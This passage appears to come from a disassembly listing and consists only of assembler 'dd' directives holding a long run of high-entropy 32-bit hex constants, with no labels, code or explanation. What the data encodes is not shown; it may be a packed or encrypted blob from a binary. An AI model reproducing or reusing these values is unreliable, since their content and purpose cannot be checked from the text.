		dd 0FE578h, 0A463DE88h,	4893CE7Bh, 0BCA3981Fh, 99127346h
		dd 0A72C00C8h, 30339C75h, 6406AF1Dh, 0A898A384h, 8CB000F0h
		dd 0A0BB5BD1h, 5E163FECh, 7C41D245h, 0ED8769EEh, 22EC30h
		dd 0B00FE7D0h, 0DED5338Fh, 7F8A643Bh, 80340E3Eh, 794E6341h
		dd 0B775C9h, 139C867Dh,	0FA2753D8h, 47109502h, 0C0B2B44Fh
		dd 1EAA3Ch, 0A849317h, 73FE1CA2h, 81001078h, 69229A09h
		dd 54B01A01h, 48C28C7Ch, 740E7E6Fh, 9060218Ch, 466523FEh
		dd 570721D2h, 650E32B9h, 21803F31h, 3A4D3833h, 0D80149DEh
		dd 1A8642D7h, 0F0308021h, 5824A734h, 3C3E7AF8h,	1004BAC5h
		dd 806A47E2h, 63290358h, 30F88030h, 6467BC9h, 4250BDDFh
		dd 96006E34h, 0F6075349h, 0FE97CC3Ch, 0C394006Ch, 0D1D4C2C4h
		dd 56003EE1h, 229C7EFFh, 94660314h, 0C5B91C6Ch,	803B37AFh
		dd 0D1C160ECh, 3831B107h, 8AA0614Fh, 0ADF6CBh, 29623F07h
		dd 77CDD5A9h, 6BF21A00h, 0F838607Dh, 132F008Ah,	11CB3AD9h
		dd 4F00D3F4h, 0A4EEC3ABh, 0F2DC8177h, 57DA007Fh, 58C11FE1h
		dd 0E190B3DBh, 770D951Fh
		dd 2FAE4580h, 74A9FBh, 3F667939h, 5D3682C9h, 0E97BC07h
		dd 0C1E55A4Ch, 0F1DD02AEh, 0A8E4C97Ah, 0AD58F9F6h, 0C56F126Fh
		dd 72B16402h, 0D1A28054h, 5D7DF38h, 0C1103E32h,	0F590C028h
		dd 0F400F88Fh, 5FFA567Bh, 70E5095h, 0E6D2478Eh,	0D03917CCh
		dd 0B1543DE5h, 3EE8C11Ch, 11EAF580h, 5AF43194h,	1F904017h
		dd 9925AA76h, 0D94A6600h, 0C2FD61FEh, 3BE600C5h, 161D1102h
		dd 4B004F76h, 24705025h, 73F719h, 62B220C9h, 0DE28AF4Ch
		dd 7F524F00h, 0AC11371Ah, 16FB01E8h, 0B5FA0B8Fh, 74F4704Ah
		dd 330138h, 0B24172E3h,	1DBC5749h, 13A0991h, 0D5503947h
		dd 8F880DDh, 6778E45Fh,	1E572B8h, 4C43BC60h, 20EEE217h
		dd 88B613CCh, 0E64F97BDh, 6E6DF840h, 5C8719A5h,	251C1497h
		dd 24F84075h, 0B5F38841h, 0A8B7A02Eh, 16932186h, 0A5B1D39h
		dd 170975Ch, 7F4520D8h,	0A409F0D3h, 1AAC1E1Dh, 0B17E67C0h
		dd 74A057CDh, 0F4FF1D1Ch, 34638064h, 0D70786D0h, 0B4026D98h
		dd 21F79CBFh, 5CC07AECh, 881C8C74h, 0B2CBC47Dh,	0C694F0ACh
		dd 0F9F30F01h, 0D4B90725h, 7247A060h, 0BCB007EAh, 0A04CE468h
		dd 0AD37C7D7h, 663E2E00h, 980DE2EEh, 55DDA218h,	74C0EDC2h
		dd 0B34FD4F7h, 746C8C20h, 7EE53052h, 20190BF9h,	300AE807h
		dd 5480E255h, 9E591BC6h, 81AB0084h, 3149EF0Eh, 0B400ADFAh
		dd 0BEEE3B51h, 0FAAC354Eh, 90F11E6Eh, 0E1438047h, 0FAE5DEF3h
		dd 0BAE2C49Ah, 25586600h, 0DDCC4974h, 2D2FE40Ah, 0CC80D2A0h
		dd 0D9B27F9Eh, 945D800h, 16AC5751h, 396AF2D6h, 0E980A808h
		dd 2AB1AC9h, 0F900BF20h, 56322CFAh, 62553Fh, 0C43B8AEEh
		dd 0C96B65BEh, 0BB70C30Ah, 2F02D467h, 82E09253h, 0B833DDC8h
		dd 3A8B3660h, 2D80E745h, 0CF0220FFh, 9100E0C5h,	39214210h
		dd 9E73C2h, 1C0FE60Ch, 0C4A551DFh, 47D6A202h, 0C0D4C3A3h
		dd 1F885AA4h, 30248CFDh, 0ECF06C10h, 6A9D2E01h,	0D3023C67h
		dd 4E4A1880h, 6518F894h, 0C3DA240Ah, 0B181C460h, 0DB550FDDh
		dd 0D99D2880h, 0B0E537CDh, 0D4F252h, 418A311Dh,	38B6BF56h
		dd 0F00AB5Ah, 5E7339DEh, 0C13AEC24h, 366C81BCh,	0F5E23FC5h
		dd 0FB7AE8h, 6D987546h,	39E4D0C9h, 8EAA7700h, 1A80840Dh
		dd 0FF4E18h, 94A8218h, 0F216F59Dh, 8F00A07Ch, 0F14B5284h
		dd 2E92019Ch, 56ECF8D0h, 0CAE0C4E7h, 0D1FB8490h, 798C7997h
		dd 9EDEB200h, 5A24897Bh, 56AC3A2Bh, 0A440E900h,	1DA994C8h
		dd 14A11A0Fh, 0BDF8E383h, 8F9381F5h, 0EFB7E0h, 1D76BE59h
		dd 5CBCBF58h, 4B6B9500h, 7AF01478h, 0CE500099h,	76F66181h
		dd 170A3296h, 94FD8F5Eh, 0F919AC00h, 19402AEh, 5BB8CE5Dh
		dd 242DC355h, 0DE054670h, 0CB085C03h, 582000A5h, 0EC3339EEh
		dd 57BC28DEh, 0DDDFD606h, 7195852h, 0F10B100Eh,	3090601Eh
		dd 2C018C80h, 0A90424E7h, 746CCB33h, 0F51C8580h, 3609D16Dh
		dd 603B3CC9h, 60B30240h, 0ED41518Dh, 6F3E1676h,	0A3C00E2Ch
		dd 0DB3226BFh, 5FC10048h, 9D1D8610h, 0B2009612h, 8B4BF917h
		dd 130E0825h, 0FDF7D4h,	0D287B51Ch, 140C7B36h, 61A680EFh
		dd 0D27D78B4h, 0F690C0E0h, 392F9122h, 0F35090A5h, 0ACCF403Ch
		dd 699D88h, 0AAF98545h,	0A949FCF6h, 488680Bh, 668A0172h
		dd 0D8606A54h, 0DDF224DEh, 681482E8h, 6873CAh, 0CF007DB8h
		dd 0A9CC80E3h, 1558E0h,	501DDE08h, 4C3B5ECAh, 0BFA29E07h
		dd 68005122h, 97DB47h, 0FA441CB0h, 96618F7Bh, 0F3BE58h
		dd 0B43EEFBDh, 750FF8h,	2362025Ah, 3452C1CAh, 0E1426B00h
		dd 54BBCC25h, 0E7A10FFCh, 3F206961h, 1A5CFA4h, 2EDC9C00h
		dd 29095D2Dh, 0E2E4007Ch, 0E9207D9Ah, 0C93AFA07h, 0E01387B3h
		dd 0E974E19h, 9E3D6D90h, 0FC830031h, 0D59D063h,	45983F40h
		dd 0F8C55300h, 0E112025Eh, 9AA8C577h, 0CE098609h, 0A1F20E6h
		dd 0DE8096D4h, 5EE88EBDh, 811F003Eh, 0E6137E90h, 0B100D89Eh
		dd 0A9437BEAh, 3AB44149h, 0AA006CCCh, 0C365D24Ah, 9900C7ACh
		dd 3A1FFA89h, 39731D2Fh, 0D30058E3h, 0E7EDB125h, 7100AD26h
		dd 5E8C8E5Ah, 6635226Bh, 583FDEBAh, 0ABE3F100h,	5D4381AAh
		dd 2CD60F31h, 7740C040h, 8EB642D5h, 804E3600h, 0BEC92E43h
		dd 699E02Fh, 30FA87B1h,	7001791Ch, 1763D6A0h, 0D8E04AC4h
		dd 4C1018Ch, 760AF826h,	0EF9C409Eh, 7F07ECABh, 915A83A0h
		dd 0CC53931h, 6378E4h, 0ACEA99E3h, 0F1FFDDE5h, 858A600h
		dd 8DD21BF9h, 0D65F00B8h, 402B52F5h, 62003D6Fh,	70EC9DE5h
		dd 0D9CAEAh, 3868B34Ch,	6A98B2C9h, 9AE32000h, 6E728E2Ch
		dd 54A21F3Dh, 64F700A1h, 15B5CF96h, 0DC394800h,	0EABF41FFh
		dd 6DAD00DBh, 3632D511h, 0B600D078h, 0AF7FCDD4h, 0F8DC8Fh
		dd 0B7743F77h, 92B519EEh, 1FF4EF00h, 8431EA54h,	602600DEh
		dd 8F47D94Dh, 62000C5Ah, 8D1CB5C4h, 0B863D046h,	410700ABh
		dd 0B9B20D37h, 51003410h, 1342610Eh, 67D0873h, 6794E518h
		dd 1A6F0920h, 0E21D80C8h, 0C0126899h, 0F62E6E18h, 97011358h
		dd 0BD18F38Eh, 92FC64BCh, 6EFB0095h, 3096DAF2h,	0D00024CAh
		dd 6A370140h, 111A498h,	76F9979h, 0F0FBDA43h, 10FE7573h
		dd 988F801Eh, 4B01EEC0h, 706CD94h, 4091B029h, 0FB24B058h
		dd 7E00A91Dh, 0B920CE95h, 127AF9E4h, 43ED89B1h,	429E2524h
		dd 6E889DE8h, 0ECCC1800h, 0F820C102h, 1FDEF82Dh, 0B07131C6h
		dd 0B63A2FF0h, 3CD9B00h, 78632907h, 9E89269Fh, 0C2670000h
		dd 9BF8ED19h, 0A2B210C0h, 0BA7E87h, 4DFC8AACh, 0F92EF313h
		dd 0A893EF03h, 0A0EE48F5h, 0F0E9537Eh, 7FAD002Dh, 496AF8FFh
		dd 0D67F875Dh, 0F3416E01h, 0C06470B7h, 14F18ECh, 9AB4893Bh
		dd 208C5AD4h, 0B9003C14h, 0F01162AFh, 0FC09906h, 7E7CFFE5h
		dd 2A340F82h, 1426A883h, 0BD09C803h, 0A01CEFC0h, 1824F7C8h
		dd 0B4F5BEC7h, 930FCC5h, 4B0F20BFh, 2F330052h, 0D58F2B3h
		dd 1EE09891h, 5FB9BE14h, 79B505E8h, 0DC40764Ch,	0ECC5FA6Dh
		dd 0AE30F74h, 0C0208322h, 0B47C7A33h, 0C400FD98h, 0EA58F576h
		dd 4C44B7D5h, 0E8018C25h, 7D4ACC9Dh, 0A4F9D4E2h, 7B95E403h
		dd 7D39031h, 925E0328h,	0F080CBC5h, 0A77988F6h,	53134600h
		dd 0BD19B190h, 0E7AA0083h, 0E1A58615h, 1F3A6B08h, 2E3780B8h
		dd 4AC37804h, 22F30490h, 93751436h, 0ED8FE2Ch, 0A3EA7016h
		dd 7F00D1FCh, 0E05B0134h, 120FC79Bh, 0E72BAF8h,	0AFC08A00h
		dd 0BDF283E5h, 0B96930FDh, 0F38DDB03h, 0E084DCB8h, 54E1B3h
		dd 0B78E0F08h, 5FC0636Dh, 0A74C1601h, 0A86874B4h, 283BE441h
		dd 0F54F60h, 0BB3046A5h, 9B8B25Eh, 0D5959E00h, 52939935h
		dd 15BC00CAh, 0ED3F8461h, 340F2B86h, 0C045CE76h, 951BFD83h
		dd 0C39000C1h, 0D7A864DAh, 43E87417h, 0CB6AB700h, 4CEB19F0h
		dd 650A0081h, 1C7178D9h, 0F9022710h, 0D39C2068h, 0D479E0A2h
		dd 0AD5200A3h, 0EF451167h, 8D0005E2h, 0C8C11CF1h, 5C3D1BF2h
		dd 62002014h, 54332D5Ah, 44B228FFh, 0A3FA9D02h,	602C9CCFh
		dd 1FD08B4h, 5BCC5199h,	409ADF78h, 5011569Eh, 98E57200h
		dd 0AE53A2CDh, 44122E7Ch, 0B3C200CCh, 223D1D8Eh, 6DBA5E00h
		dd 3124CB99h, 0B26B031Eh, 19816F30h, 0AC26AAC0h, 0CCA05578h
		dd 1700F41Dh, 65369633h, 5CAB067Bh, 1044DC25h, 13E811Eh
		dd 67D046CBh, 0CCEA4025h, 8602267Ch, 7AEFDD5Dh,	0E9A763DCh
		dd 0D8CC6660h, 0AC58C5C9h, 1C284158h, 840ECC33h, 50F1818h
		dd 7E317303h, 9D0927C9h
		dd 707DB10h, 0D9C04ACBh, 6F320BE8h, 236B48ADh, 0F1896301h
		dd 2C303418h, 0B50069EAh, 0E7D10E1Dh, 58071AF4h, 0C6079532h
		dd 0A32273AFh, 66D8D630h, 681FE546h, 2158A00Eh,	75EDD018h
		dd 714200DDh, 5AC9FF07h, 4B30B27Ch, 80D2011h, 7D0A805h
		dd 0EE560C02h, 33303C29h, 9E5E6728h, 0BE1DB206h, 78183E9Ch
		dd 0C362B07Dh, 80631E40h, 0F2347BC0h, 0B51092F0h, 8053874h
		dd 406B912Eh, 0AE6DEC90h, 77324E4h, 5AE11766h, 0B1D1809h
		dd 0A27D8909h, 30C355Ch, 206EAD41h, 3439D1D0h, 585E4E0h
		dd 0D27182FDh, 0D17E8024h, 57014F21h, 0B338A16Ah, 0C3DFA52Ah
		dd 96CFE0D0h, 0C030000Ah, 0FE1FDB45h, 0C8F8D21Eh, 63FDDD03h
		dd 31605D24h, 0AF713160h, 4660C2DAh, 6109387Dh,	8B3513D3h
		dd 0FA3220B8h, 0EE46849h, 0CB60781Ah, 65AF530Eh, 303839C0h
		dd 3316DAB6h, 24007FDEh, 3E314C8Dh, 0B9180079h,	0FDBFD369h
		dd 6060F694h, 0DA654FA0h, 587500BEh, 864D7CFh, 87007978h
		dd 27047CA8h, 60C090D8h, 37D2D06Ch, 0F1C3D3BFh,	34EA32Bh
		dd 98BE9AE9h, 4E0E5F5h,	41739624h, 5B2929C0h, 74527E7Ah
		dd 149E1DBCh, 8C0540FAh, 0C0040B63h, 0CA0C9D00h, 0E2607F79h
		dd 0F0A10097h, 2DA4C551h, 1A009ABDh, 0C9C2D9CDh, 3A024A2Bh
		dd 5180D587h, 89AE0D0Fh, 113D6131h, 0AB9180CFh,	5CC97FDFh
		dd 2B298038h, 0A951A131h, 0F98067F7h, 0C8EA6DA6h, 0A801AA3Fh
		dd 4E022722h, 0ACE48344h, 664D00D4h, 0C95CF5A4h, 41C04F28h
		dd 63DEA06Eh, 59340245h, 0BA70C5A2h, 5567EC80h,	5748F99Fh
		dd 314830B0h, 1E2AD875h, 0C0C3D4EDh, 0B4079B8Ch, 5239FD68h
		dd 0E943809Ah, 8EF13B4Ah, 335E28A8h, 3A6DF2AAh,	9F80C7CEh
		dd 2AAF906Bh, 940048EFh, 7BD853C1h, 2A4CE40Fh, 2443FEh
		dd 0B6C04455h, 9C51EEDDh, 0D1C59605h, 0D3C0A634h, 0C3D75BD2h
		dd 466F9D28h, 7BFDAAA0h, 418F5137h, 15E318C0h, 0E0060019h
		dd 0C28CB0AEh, 0A01E5D84h, 6047717Eh, 0B1E062FDh, 3C617447h
		dd 9C1C0B7Dh, 0BD6A4032h, 8CF40C39h, 0F1E99D18h, 0A14360h
		dd 0B042C374h, 2833CB9Bh, 0E89EBB0Ch, 5221F4h, 0E235180Ah
		dd 0CD63E9D4h, 0C09D2B00h, 7C035830h, 0C2FFEF4h, 0E4D4D878h
		dd 0EE39AAA8h, 0CF4160B0h, 1ED7EAh, 2885159h, 0F77C9D72h
		dd 50B2F800h, 3ECA6A36h, 6890069Eh, 19140F7Dh, 0BFE8200h
		dd 62BFFA2h, 3088A841h,	51A7A6Eh, 679AE843h, 700C024Ah
		dd 94A5FE55h, 0D0A02063h, 9C007EA1h, 0F4771826h, 3CF898EDh
		dd 4C0052E1h, 8371D367h, 3C00EBECh, 26EF0BD0h, 30A0E551h
		dd 5A1885CDh, 243E13D1h, 7A982625h, 749A5700h, 0EA799F75h
		dd 6EF9EE44h, 510F18E1h, 0ECFF84C3h, 40E734C7h,	7FF65450h
		dd 0E3971029h, 59E680F4h, 58478489h, 6506A038h,	789BD5BBh
		dd 2DE13208h, 0EF86015Dh, 80FBFFE3h, 7799E039h,	0C286744h
		dd 2B7EAB37h, 21C0D508h, 0DF7790C0h, 0B72D00E8h, 0C3F54F06h
		dd 0DB18F10Ch, 8F1889Dh, 305A5047h, 69017832h, 50801053h
		dd 88B0A07Fh, 80DE9F3Dh, 52079D18h, 0EC46938h, 70955494h
		dd 80E2E904h, 0DED148CFh, 8090E63Fh, 31745586h,	0FA0BF718h
		dd 75D7A0Dh, 0C6CCA4CDh, 8502D03Ah, 0B000D272h,	0C7AD6CBFh
		dd 288FD33Ch, 0CA62EFh,	0DB5FC5C1h, 0C230379h, 39E64500h
		dd 847A6910h, 81141283h, 0C911007Bh, 0A4C0B53Bh, 1F3A9301h
		dd 0C32EDFC4h, 0CFC64085h, 83042AFAh, 66F6D6h, 3F4DD210h
		dd 0F968E3A8h, 5DEFA301h, 78C3943Eh, 3CFD6CCh, 0DDC2607Bh
		dd 291134B7h, 173EA52Dh, 7C84A344h, 0EEA189E5h,	24DF5122h
		dd 3D5B40B7h, 0FFF4F96Fh, 5FF0E8h, 56FB6553h, 5CF38A40h
		dd 43203B61h, 5D8A648h,	509900C0h, 779FA127h, 6E00BDEBh
		dd 7AA44169h, 8564FFh, 6FF318C3h, 1E214C2Fh, 0E9F0D960h
		dd 25553Ah, 0EB729CA0h,	0C67CE574h, 770A4907h, 24E39E0Fh
		dd 0D4F9F015h, 0EFE98CCh, 586F4DD6h, 0C9FC93A1h, 3CEBCB8Ah
		dd 4C9C48C8h, 5CB95300h, 77BC3405h, 0CB3B0010h,	82B73FE1h
		dd 967FA193h, 0F6B1E600h, 8079A075h, 0EB3100C7h, 491C61F9h
		dd 2A03BE92h, 19B93C27h, 86E4D15Ah, 3FF001D1h, 0F33009F6h
		dd 0F9031588h, 70DBEFD4h, 0F4CF73C1h, 6C3E318Ch, 0A9D600A7h
		dd 95AB262Eh, 97882E7Fh, 50E300C8h, 0B0D90C47h,	750FE972h
		dd 0A061AB35h, 164F71DCh, 9F9D00B8h, 0F1838B3Eh, 810011A3h
		dd 155BD78Ch, 48DDDFCFh, 90714CDh, 90EB4E52h, 1F83F2E1h
		dd 80688F3Ah, 0B555078Bh, 3AF5FD2Bh, 7B80B4E4h,	773C6194h
		dd 0CF0733B9h, 1C4ACD9Ah, 3B597020h, 2D491E40h,	560D8082h
		dd 7DF0BA88h, 34EFF200h, 584D85DFh, 204B008Eh, 495087C5h
		dd 901DDAA7h, 166EAE92h, 0E893600Ah, 3A3C8A03h,	3386F010h
		dd 12EF01Eh, 998EAA40h,	0F08FB730h, 5F00B43Dh, 0C4D801CDh
		dd 7B3EE53h, 0DDC59B5Ch, 0BBE040BFh, 0BE019D5Eh, 0A4A7163Ah
		dd 3DC49434h, 90DFE35h,	225528AFh, 7B7F0C00h, 32309DE3h
		dd 4F5B1023h, 0E9DF03D9h, 0CD5DCD1h, 3C94D000h,	8F8E1AC6h
		dd 9C2800A2h, 1EAE2FFBh, 3500FE27h, 334F1DCCh, 8E76F3h
		dd 1C6EA7DEh, 49D3BA82h, 0FCFF3700h, 10F45FE1h,	46B500A5h
		dd 34AC7C6h, 6CE8A7B6h,	0BD48E01h, 0E6980706h, 19D68489h
		dd 1EFA9300h, 9703C991h, 7CE446F5h, 0E7B8B843h,	1FBFC51h
		dd 1A2A32AAh, 0F82305B3h, 6A09D5C0h, 5F6C579Ah,	2BCBC600h
		dd 5EE34E0h, 0F2674B00h, 0D980EA91h, 786903DCh,	0FC02C54Ch
		dd 4EA00AD8h, 90038B73h, 3D348222h, 6D6BD0E7h, 0ADAB0F4Ch
		dd 4D603C91h, 319B9256h, 3E573B04h, 38C063E7h, 7B395Ch
		dd 8B4150E5h, 614F43F4h, 4506E2FEh, 3740F7BEh, 235F0020h
		dd 7C2927F2h, 830113BAh, 2C32B867h, 0D960A379h,	12067589h
		dd 0DDF05Ch, 47B21BFCh,	0E912C307h, 0DC0092B9h,	0F53428E0h
		dd 0A82C003Eh, 13B77E6Fh, 2A0333E6h, 45CACF0Ch,	0ABC7D580h
		dd 30B32F90h, 25E6B8EFh, 335618B9h, 29C7C200h, 7112E54h
		dd 0CFD9657h, 95F031DEh, 0E37FC03h, 64CD4714h, 6FBA00ABh
		dd 999CB41Ah, 68D101ADh, 0FF6D9371h, 334DF47Bh,	5E66B500h
		dd 3A323FE0h, 0C898C4h,	2AEA525Ah, 8F14C56h, 0ED005474h
		dd 0F44F582Ch, 245F01h,	3E6F36EEh, 0A78CF6FEh, 6D001C73h
		dd 42AB3C84h, 0B4D9A5h,	8DBA66Bh, 257A9DAFh, 3676BB07h
		dd 0BFF0029Fh, 7CD7E198h, 76A94C60h, 0C0B0B100h, 0DBC1E65Bh
		dd 84298E1Eh, 0BB6CED03h, 0D4310E02h, 0B343771Bh, 7CB895BEh
		dd 5C000399h, 0ABE38467h, 9CFB5BFh, 0C7C9159Fh,	2EACD000h
		dd 0B4029EFCh, 0C079DEB6h, 427C4072h, 1C92ECD5h, 80B76B01h
		dd 52B8837Dh, 0D65CAA8Fh, 843924EEh, 0A673C701h, 31C4AB59h
		dd 0D0ED0048h, 0C82095C6h, 4D74DF5Dh, 80B15C00h, 7AAB301Eh
		dd 13CD071Fh, 0F0AE5695h, 5ED3B070h, 1EAEC14Bh,	98CD4001h
		dd 946F378Ch, 11EAEB00h, 1FC41B79h, 0BAD60039h,	0BC088366h
		dd 0E5FC58BDh, 60F19701h, 0F226378Fh, 0E8B05760h, 0BE5624B3h
		dd 0DD1EFCh, 19EE7086h,	4F6E588h, 0BB740700h, 17722213h
		dd 53DD0F80h, 4FB31A96h, 4540465Ch, 57B2F4CCh, 5B82E0E5h
		dd 0B5F2B600h, 9AEBBB54h, 43B00059h, 20142F50h,	0F50080E6h
		dd 3962063Fh, 4507DAh, 5B184052h, 0A57383C2h, 0E2A1E880h
		dd 0E10D009Ch, 0C52DBD39h, 8E0045DAh, 577AB90h,	32734FFh
		dd 82A44320h, 1FC82315h
		dd 6EE664E1h, 0F332D000h, 780EC337h, 0C94E009Ch, 66EE67FBh
		dd 7001ECBh, 158AC250h,	0EE490FA0h, 33E70917h, 29809BC9h
		dd 0D8FF3671h, 426A8B05h, 4C80CDB2h, 2C6766h, 1BC728E3h
		dd 88BE9665h, 0C9DB8D00h, 0D9515AF6h, 0C216009Eh, 626D3A34h
		dd 7E00D356h, 9BE13085h, 0FC990BA9h, 0E4DAB831h, 78F00982h
		dd 0F000D896h, 324A222Eh, 0C7D96006h, 3CAA0D8Eh, 58016BE8h
		dd 7AA6A352h, 0D47BE951h, 7C002EF6h, 0EF78208Dh, 37DB2E2h
		dd 73199529h, 7E80C336h, 91CA4D6h, 1744BCF5h, 6890C89Eh
		dd 3D626422h, 8A1E3768h, 0FC161DC1h, 77915580h,	666E27DEh
		dd 0B4266C01h, 3B7C104Ah, 64BED8h, 97B54E73h, 66A63923h
		dd 96277505h, 38945F1Fh, 0A11DE3C0h, 0F35000B2h, 4CB15AB4h
		dd 0C04D6B5Eh, 21E50060h, 0DE0FCBB8h, 608A7E80h, 4E841896h
		dd 0B0ED373h, 0C098DB2Ch, 0F5DD7C19h, 8C7D0029h, 0CF0EACA5h
		dd 4F006A3Bh, 0A62B2E64h, 0C00CB0h, 0F2192758h,	0C128578Dh
		dd 4AF40400h, 0DFD545F3h, 841303CEh, 3830021Ah,	2ABE0EB5h
		dd 0EBE38300h, 787A6C25h, 8B8E4B03h, 0C8856F19h, 0F75527h
		dd 10B71504h, 6128F999h, 0EBFE8807h, 0CBD035D5h, 1959E9Fh
		dd 9B598C1Eh, 0C8A03028h, 140029B1h, 8105C9D3h,	4E0C7Bh
		dd 0A4D1BA4Ah, 0E9FE28D2h, 0FFFACB00h, 77BF817Ah, 304B00DFh
		dd 9552518Ah, 0D800314Ah, 22E156D3h, 70C753h, 0FF63F34Ch
		dd 0AECCEF16h, 5D0481F4h, 0E23B9EDBh, 9280A0h, 9CC2B365h
		dd 0AA90A967h, 0C4B68800h, 0C9AC669Eh, 988F1D95h, 0C7E100CEh
		dd 7340C60Fh, 31D63500h, 42DB08C3h, 0D41D0070h,	1681623Bh
		dd 0B8987EB5h, 27FEEE14h, 264681B8h, 37F012CEh,	666F020Bh
		dd 5F99131Ah, 4045EEE0h, 6E537D00h, 9B88440Eh, 0E4E6018Dh
		dd 0E139DB09h, 15CBC0EBh, 861C8E1Ch, 5D46C900h,	0F299241h
		dd 594477Ah, 0C05828A5h, 82C003F3h, 0C90F3Ch, 0CC3C871Eh
		dd 44B935h, 0C55F4584h,	0FFC0DA03h, 9926A300h, 0AAEF04FAh
		dd 678D2EFCh, 20B1803Ch, 5BFA30Fh, 4872CD58h, 59FC03D4h
		dd 0B88DD550h, 93B443h,	538A312Ah, 3E43048h, 7690A100h
		dd 0C532EB34h, 495C0099h, 0B2C8DE0Bh, 173F4A33h, 1D4F80F0h
		dd 43844508h, 90AA5959h, 8B5A8200h, 0A17E6B3Ch,	0EDE20612h
		dd 44F054C0h, 0DCD800CBh, 0FB23E993h, 0C00A03Eh, 5246603Ah
		dd 0DBE0E3h, 246C63BBh,	74EFE94Fh, 7E9CC100h, 0DED32C6h
		dd 0FCA20097h, 0CA90E49Fh, 0FD3D9824h, 9401F03Dh, 0BE7D7FBBh
		dd 0B02CCB92h, 615D4C00h, 3B06CD15h, 54081E67h,	0A347EC40h
		dd 8D99DD95h, 0E030E6D4h, 0F2002A45h, 0F51A7263h, 1BC47D79h
		dd 21E10B47h, 48926CC8h, 1D831107h, 240F938h, 30229369h
		dd 4694CC15h, 7F006F0Ch, 3EB2C143h, 6059501Ah, 8FA4061h
		dd 4614ABF5h, 654F262h,	0FE0CDD66h, 0ABCD0021h,	581F5B7Eh
		dd 7C383CFDh, 0D8383B9Dh, 0BD0A0009h, 6608D6ABh, 623A3050h
		dd 0CC86E059h, 984851CCh, 0A7D8071Dh, 60C26394h, 317E6621h
		dd 5D00D5EEh, 0A830F22Dh, 5362E3h, 977525C2h, 8971B26Ah
		dd 2CDD0C00h, 5CC1E478h, 6E4B1D1Bh, 0DE8A470Dh,	19D5B06Fh
		dd 38002C25h, 6ACD46BAh, 743FAFA1h, 6FA60080h, 9E86A4FBh
		dd 0D100FE6Bh, 9DE42E5Ah, 7AB47B6h, 0AAC7A9E2h,	0CBBC901Dh
		dd 0A10719F2h, 0B1FF13C8h, 0F2A825F3h, 142DE01Bh, 9EFA00BDh
		dd 0A68ACE3Eh, 2A1F12E9h, 0F60E3F37h, 98B0804Ah, 0DD82414h
		dd 0C6390CDh, 44BDE882h, 6F2A1B00h, 6C60B001h, 1579FEB6h
		dd 0FCC8C7A5h, 2A037600h, 8D2C0FE2h, 1156E900h,	0A7820D7Dh
		dd 6AF400CBh, 0D09DC0E6h, 3F0FCDFBh, 0A33CFF46h, 3BEDB176h
		dd 0F2010A10h, 6DD2CFD9h, 395880DAh, 5DF518ECh,	541998A5h
		dd 2257D05Eh, 5101CABEh, 5DF36990h, 0DBD4DF72h,	0D8B03D22h
		dd 0EC512B38h, 716DF4h,	0B1E0C305h, 0B8573B09h,	44F8D624h
		dd 31B78580h, 702ABDFh,	7D5C189h, 0F0339722h, 74F45036h
		dd 9730F00h, 44E940Eh, 8A7518h,	838CE0E4h, 0D6C20BA2h
		dd 6651FB60h, 0E32D9Dh,	0AAD7AFFAh, 49852090h, 54E0B70Ah
		dd 0C5111888h, 0EE462300h, 1E69D47Eh, 74A0507Bh, 0B244128Eh
		dd 0C027F6C3h, 136D5A19h, 2F0352D9h, 0BE690B34h, 0A62907B4h
		dd 20F9D0BDh, 92F1319h,	4392F003h, 80183241h, 1D5EB3D8h
		dd 402AC27Dh, 72859FC8h, 20079E5h, 4D901063h, 32C03C24h
		dd 6106207h, 7B0304B5h,	0E013888Fh, 61C7CEh, 0D02CADABh
		dd 17623885h, 0DCD58700h, 0F67C7B6Dh, 0CF810C59h, 0A4296EAEh
		dd 56FC8341h, 0FB997CD4h, 0CA6C0980h, 0BF6B64B3h, 54619E18h
		dd 1D5B8F18h, 0C051D967h, 0B58A95C7h, 0E9F236C3h, 692DBC00h
		dd 71B7BAB8h, 0BE010017h, 8EF8FE38h, 0D43F57D1h, 0B42D00DDh
		dd 364F454Eh, 0F997640h, 0E48D138Ah, 500B1527h,	342B29C9h
		dd 0C646651Dh, 43C9380h, 7F3B2Ah, 754FBB56h, 0C8346739h
		dd 4D422F00h, 449E4571h, 0E5AE618h, 0BDD4C095h,	0DD08DB00h
		dd 1100CB97h, 431C3F04h, 1F02886Dh, 534034E9h, 215F0017h
		dd 0F12E630Bh, 0DDD35602h, 8372D448h, 904B27CCh, 0F3FC1Bh
		dd 9EF5B8AFh, 0A7EFB4F6h, 0DBB7F100h, 0C168C274h, 0D8BE0184h
		dd 372D3DE1h, 63B0F773h, 6600E69Fh, 4738E82Ch, 0E597CAh
		dd 855D55B9h, 75AAF7BFh, 0B5D70F00h, 4C8E11BBh,	0C9F207ACh
		dd 0CBE332h, 0A82C2452h, 0BBF64D24h, 0E070BB0Eh, 3D6F5942h
		dd 589600A7h, 0F25B9C4Ch, 0EC0115C8h, 0FF95BAE4h, 1020218Bh
		dd 75200D3h, 0C3968171h, 0EE00AB53h, 958F77E6h,	0AE6B6Ah
		dd 260ACC36h, 112AF7B9h, 0D48C1700h, 0D5F4FF19h, 8D08001Ah
		dd 53F929BCh, 0C0004E20h, 0B8618EAh, 0B148497h,	134F17Ah
		dd 0B84F3C00h, 48016744h, 0EA814B46h, 0F160E284h, 0E66F3F06h
		dd 0D7FDD300h, 18394598h, 365EEA00h, 0A6439133h, 5FB20048h
		dd 1B9AB8A0h, 3076C105h, 0CB814000h, 5D473435h,	0E4863878h
		dd 89297F89h, 0E6507C00h, 0EA30641Ch, 0EE109DFh, 0E2F40362h
		dd 9F76301h, 71AB184Ch,	8E804000h, 437A044Fh, 83160099h
		dd 441C7367h, 6400E629h, 3977EE2Fh, 0D53712h, 36A68313h
		dd 3576B97Dh, 0FB00F47Ch, 0EAAEB45Dh, 8E4BDCh, 7CAA820Fh
		dd 2C98974Ah, 0DED28A0Ch, 0D11E9h, 0D5BD8092h, 5FE8A3F8h
		dd 0E01E6E24h, 6DAE0E1Eh, 6C659700h, 28BF5C76h,	7A47055h
		dd 0CC66CA31h, 7F3E022h, 3300D1A8h, 6A88B126h, 0F483718Ch
		dd 5BB30095h, 0F7F6869Ah, 110022B4h, 1CFBEADAh,	16CF12h
		dd 0EF518948h, 87E3AE18h, 1325F001h, 1CF34F32h,	19CD120h
		dd 297BE9ADh, 0D0C3A1F1h, 43481718h, 0CDAF3C94h, 0C9C0050h
		dd 64B1065Ah, 38D107C6h, 90FFE14Bh, 0BB6FDD2Ah,	162C1F09h
		dd 2BA4001Bh, 180B94B6h, 488DCE09h, 0DB7BFCF7h,	1378765Ch
